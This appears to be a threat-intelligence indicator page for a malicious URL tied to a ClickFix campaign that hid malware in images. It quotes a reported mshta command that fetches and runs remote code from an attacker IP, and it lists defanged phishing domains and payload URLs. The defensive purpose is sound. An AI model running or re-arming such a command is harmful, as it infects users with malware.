hxxp://81.90.29[.]64/ebc/rps.gzURL
Reported by 1 independent source · first reported by Huntress · last reported
Last reported 10 months ago
What the reports say
1 report, newest first · the exact sentence from each-
ClickFix Gets Creative: Malware Buried in Images“Manually interacting, we can confirm the command mshta hxxp://81.0x5a.29[.]64/ebc/rps.gz was automatically copied to the clipboard.”
Indicators reported together
named in the same reports- hxxps://f6b04000.consent-verify.pages[.]dev/in 1 report
- f6b04000.consent-verify.pages[.]devin 1 report
- hxxp://corezea[.]com/ebcin 1 report
- corezea[.]comin 1 report
- cd8302542f494f4d8fbcb2d21425b316in 1 report
- xcvcxoipoeww[.]sitein 1 report
- 192.124.176[.]103in 1 report
- hxxp://141.98.80[.]175/tick.oddin 1 report
- hxxp://141.98.80[.]175/gpsc.datin 1 report
- 141.98.80[.]175in 1 report
- hxxp://141.98.80[.]175/ercx.datin 1 report
- hxxp://141.98.80[.]175/rtdx.datin 1 report
- hxxp://141.98.80[.]175/one.datin 1 report
- hxxp://141.98.80[.]175/very.datin 1 report
- 1e442295.consent-verify.pages[.]devin 1 report
- 5df43170.consent-verify.pages[.]devin 1 report
- 3b4ce6c9.consent-verify.pages[.]devin 1 report
- 6b04000.consent-verify.pages[.]devin 1 report
- 3e6eb645.consent-verify.pages[.]devin 1 report
- d9e71335.consent-verify.pages[.]devin 1 report
Copy these 20 indicators · defanged
Thanks — we review every report.